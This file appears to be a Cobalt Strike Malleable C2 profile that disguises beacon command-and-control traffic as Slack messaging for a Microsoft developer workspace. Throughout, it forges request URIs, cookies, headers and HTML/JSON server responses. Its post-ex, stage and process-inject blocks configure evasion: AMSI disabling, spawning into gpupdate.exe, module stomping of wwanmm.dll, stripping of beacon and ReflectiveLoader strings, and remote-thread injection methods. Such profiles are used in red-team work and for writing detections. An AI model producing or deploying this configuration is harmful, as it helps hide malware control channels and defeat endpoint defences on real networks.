282 lines
7.6 KiB
Plaintext
282 lines
7.6 KiB
Plaintext
#slack profile
|
||
#used a MS dev group from a 'top slack groups' list
|
||
#xx0hcd
|
||
|
||
|
||
set sleeptime "30000";
|
||
set jitter "20";
|
||
set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)";
|
||
set dns_idle "8.8.8.8";
|
||
set maxdns "235";
|
||
|
||
#custom cert
|
||
#https-certificate {
|
||
# set keystore "your_store_file.store";
|
||
# set password "your_store_pass";
|
||
#}
|
||
|
||
http-config {
|
||
# set headers "Server, Content-Type, Cache-Control, Connection";
|
||
# header "Content-Type" "text/html;charset=UTF-8";
|
||
# header "Connection" "close";
|
||
# header "Cache-Control" "max-age=2";
|
||
# header "Server" "nginx";
|
||
#set "true" if teamserver is behind redirector
|
||
set trust_x_forwarded_for "false";
|
||
}
|
||
|
||
http-get {
|
||
|
||
set uri "/messages/C0527B0NM";
|
||
|
||
client {
|
||
|
||
# header "Host" "msdevchat.slack.com";
|
||
header "Accept" "*/*";
|
||
header "Accept-Language" "en-US";
|
||
header "Connection" "close";
|
||
|
||
|
||
metadata {
|
||
base64url;
|
||
|
||
append ";_ga=GA1.2.875";
|
||
append ";__ar_v4=%8867UMDGS643";
|
||
prepend "d=";
|
||
# prepend "cvo_sid1=R456BNMD64;";
|
||
prepend "_ga=GA1.2.875;";
|
||
prepend "b=.12vPkW22o;";
|
||
header "Cookie";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
server {
|
||
|
||
header "Content-Type" "text/html; charset=utf-8";
|
||
header "Connection" "close";
|
||
header "Server" "Apache";
|
||
header "X-XSS-Protection" "0";
|
||
header "Strict-Transport-Security" "max-age=31536000; includeSubDomains; preload";
|
||
header "Referrer-Policy" "no-referrer";
|
||
header "X-Slack-Backend" "h";
|
||
header "Pragma" "no-cache";
|
||
header "Cache-Control" "private, no-cache, no-store, must-revalidate";
|
||
header "X-Frame-Options" "SAMEORIGIN";
|
||
header "Vary" "Accept-Encoding";
|
||
header "X-Via" "haproxy-www-w6k7";
|
||
|
||
|
||
output {
|
||
|
||
base64url;
|
||
|
||
prepend "<!DOCTYPE html>
|
||
<html lang=\"en-US\" class=\"supports_custom_scrollbar\">
|
||
|
||
<head>
|
||
|
||
<meta charset=\"utf-8\">
|
||
<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">
|
||
<meta name=\"referrer\" content=\"no-referrer\">
|
||
<meta name=\"superfish\" content=\"nofish\">
|
||
<title>Microsoft Developer Chat Slack</title>
|
||
<meta name=\"author\" content=\"Slack\">
|
||
|
||
|
||
<link rel=\"dns-prefetch\" href=\"https://a.slack-edge.com?id=";
|
||
|
||
append "\"> </script>";
|
||
|
||
append "<div id=\"client-ui\" class=\"container-fluid sidebar_theme_\"\"\">
|
||
|
||
|
||
<div id=\"banner\" class=\"hidden\" role=\"complementary\" aria-labelledby=\"notifications_banner_aria_label\">
|
||
<h1 id=\"notifications_banner_aria_label\" class=\"offscreen\">Notifications Banner</h1>
|
||
|
||
<div id=\"notifications_banner\" class=\"banner sk_fill_blue_bg hidden\">
|
||
Slack needs your permission to <button type=\"button\" class=\"btn_link\">enable desktop notifications</button>. <button type=\"button\" class=\"btn_unstyle banner_dismiss ts_icon ts_icon_times_circle\" data-action=\"dismiss_banner\" aria-label=\"Dismiss\"></button>
|
||
</div>
|
||
|
||
<div id=\"notifications_dismiss_banner\" class=\"banner seafoam_green_bg hidden\">
|
||
We strongly recommend enabling desktop notifications if you’ll be using Slack on this computer. <span class=\"inline_block no_wrap\">
|
||
<button type=\"button\" class=\"btn_link\" onclick=\"TS.ui.banner.close(); TS.ui.banner.growlsPermissionPrompt();\">Enable notifications</button> •
|
||
<button type=\"button\" class=\"btn_link\" onclick=\"TS.ui.banner.close()\">Ask me next time</button> •
|
||
<button type=\"button\" class=\"btn_link\" onclick=\"TS.ui.banner.closeNagAndSetCookie()\">Never ask again on this computer</button>
|
||
</span>
|
||
</div>";
|
||
|
||
print;
|
||
}
|
||
}
|
||
}
|
||
|
||
http-post {
|
||
|
||
set uri "/api/api.test";
|
||
|
||
client {
|
||
|
||
# header "Host" "msdevchat.slack.com";
|
||
header "Accept" "*/*";
|
||
header "Accept-Language" "en-US";
|
||
|
||
output {
|
||
base64url;
|
||
|
||
append ";_ga=GA1.2.875";
|
||
append "__ar_v4=%8867UMDGS643";
|
||
prepend "d=";
|
||
# prepend "cvo_sid1=R456BNMD64;";
|
||
prepend "_ga=GA1.2.875;";
|
||
prepend "b=.12vPkW22o;";
|
||
header "Cookie";
|
||
|
||
|
||
}
|
||
|
||
|
||
id {
|
||
#not sure on this, just trying to blend it in.
|
||
base64url;
|
||
prepend "GA1.";
|
||
header "_ga";
|
||
|
||
}
|
||
}
|
||
|
||
server {
|
||
|
||
header "Content-Type" "application/json; charset=utf-8";
|
||
header "Connection" "close";
|
||
header "Server" "Apache";
|
||
header "Strict-Transport-Security" "max-age=31536000; includeSubDomains; preload";
|
||
header "Referrer-Policy" "no-referrer";
|
||
header "X-Content-Type-Options" "nosniff";
|
||
header "X-Slack-Req-Id" "6319165c-f976-4d0666532";
|
||
header "X-XSS-Protection" "0";
|
||
header "X-Slack-Backend" "h";
|
||
header "Vary" "Accept-Encoding";
|
||
header "Access-Control-Allow-Origin" "*";
|
||
header "X-Via" "haproxy-www-6g1x";
|
||
|
||
|
||
output {
|
||
base64;
|
||
|
||
prepend "{\"ok\":true,\"args\":{\"user_id\":\"LUMK4GB8C\",\"team_id\":\"T0527B0J3\",\"version_ts\":\"";
|
||
append "\"},\"warning\":\"superfluous_charset\",\"response_metadata\":{\"warnings\":[\"superfluous_charset\"]}}";
|
||
|
||
print;
|
||
}
|
||
}
|
||
}
|
||
|
||
http-stager {
|
||
|
||
set uri_x86 "/messages/DALBNSf25";
|
||
set uri_x64 "/messages/DALBNSF25";
|
||
|
||
client {
|
||
header "Accept" "*/*";
|
||
header "Accept-Language" "en-US,en;q=0.5";
|
||
header "Accept-Encoding" "gzip, deflate";
|
||
header "Connection" "close";
|
||
}
|
||
|
||
server {
|
||
header "Content-Type" "text/html; charset=utf-8";
|
||
header "Connection" "close";
|
||
header "Server" "Apache";
|
||
header "X-XSS-Protection" "0";
|
||
header "Strict-Transport-Security" "max-age=31536000; includeSubDomains; preload";
|
||
header "Referrer-Policy" "no-referrer";
|
||
header "X-Slack-Backend" "h";
|
||
header "Pragma" "no-cache";
|
||
header "Cache-Control" "private, no-cache, no-store, must-revalidate";
|
||
header "X-Frame-Options" "SAMEORIGIN";
|
||
header "Vary" "Accept-Encoding";
|
||
header "X-Via" "haproxy-www-suhx";
|
||
|
||
}
|
||
|
||
|
||
}
|
||
|
||
###Malleable PE Options###
|
||
|
||
post-ex {
|
||
|
||
set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
|
||
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
|
||
|
||
set obfuscate "true";
|
||
|
||
set smartinject "true";
|
||
|
||
set amsi_disable "true";
|
||
|
||
}
|
||
|
||
#used peclone on wwanmm.dll.
|
||
#don't use 'set image_size_xx' if using 'set module_xx'
|
||
stage {
|
||
set checksum "0";
|
||
set compile_time "25 Oct 2016 01:57:23";
|
||
set entry_point "170000";
|
||
# set image_size_x86 "6586368";
|
||
# set image_size_x64 "6586368";
|
||
# set name "WWanMM.dll";
|
||
set userwx "false";
|
||
set cleanup "true";
|
||
set stomppe "true";
|
||
set obfuscate "true";
|
||
set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||
|
||
|
||
#module stomp
|
||
|
||
#don't use 'set image_size_xx' if using 'set module_xx'
|
||
set module_x86 "wwanmm.dll";
|
||
set module_x64 "wwanmm.dll";
|
||
|
||
transform-x86 {
|
||
prepend "\x90\x90\x90";
|
||
strrep "ReflectiveLoader" "";
|
||
strrep "beacon.dll" "";
|
||
}
|
||
|
||
transform-x64 {
|
||
prepend "\x90\x90\x90";
|
||
strrep "ReflectiveLoader" "";
|
||
strrep "beacon.x64.dll" "";
|
||
}
|
||
|
||
}
|
||
process-inject {
|
||
|
||
set allocator "NtMapViewOfSection";
|
||
|
||
set min_alloc "16700";
|
||
|
||
set userwx "false";
|
||
|
||
set startrwx "true";
|
||
|
||
transform-x86 {
|
||
prepend "\x90\x90\x90";
|
||
}
|
||
transform-x64 {
|
||
prepend "\x90\x90\x90";
|
||
}
|
||
|
||
execute {
|
||
CreateThread "ntdll!RtlUserThreadStart";
|
||
CreateThread;
|
||
NtQueueApcThread;
|
||
CreateRemoteThread;
|
||
RtlCreateUserThread;
|
||
}
|
||
}
|